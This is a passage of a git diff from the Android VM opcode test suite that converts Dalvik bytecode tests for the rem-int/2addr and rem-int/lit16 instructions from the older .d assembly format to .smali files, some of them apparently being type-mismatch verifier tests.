+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       rem-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d
deleted file mode 100644
index 0e5825c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_2addr_6.java
-.class public dot.junit.opcodes.rem_int_2addr.d.T_rem_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       rem-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali
new file mode 100644
index 0000000..8eaddc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_int_2addr/d/T_rem_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       rem-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d
deleted file mode 100644
index 84c49ed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_1.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali
new file mode 100644
index 0000000..1ef0172
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d
deleted file mode 100644
index 4cd1fe6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_10.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali
new file mode 100644
index 0000000..76aff8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d
deleted file mode 100644
index a5d81e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_11.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali
new file mode 100644
index 0000000..7b90eb5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d
deleted file mode 100644
index 80cab63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_12.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali
new file mode 100644
index 0000000..6bdaf21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d
deleted file mode 100644
index 2e40ee6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_13.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali
new file mode 100644
index 0000000..c0abf7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d
deleted file mode 100644
index ebba20d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_2.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali
new file mode 100644
index 0000000..6ba3c23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d
deleted file mode 100644
index 0b65731..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_3.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -3000
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali
new file mode 100644
index 0000000..34e736b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -3000
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d
deleted file mode 100644
index 9b96729..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_4.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali
new file mode 100644
index 0000000..d51ff0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d
deleted file mode 100644
index 96218a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_5.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali
new file mode 100644
index 0000000..9f8df7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d
deleted file mode 100644
index 9139eec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_6.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali
new file mode 100644
index 0000000..b02e0ac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       rem-int/lit16 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d
deleted file mode 100644
index 9970a21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_int_lit16_7.java
-.class public dot.junit.opcodes.rem_int_lit16.d.T_rem_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       rem-int/lit16 v0, v7, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali
new file mode 100644
index 0000000..5771deb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_int_lit16/d/T_rem_int_lit16_7.smali
@@ -0,0 +1,32 @@
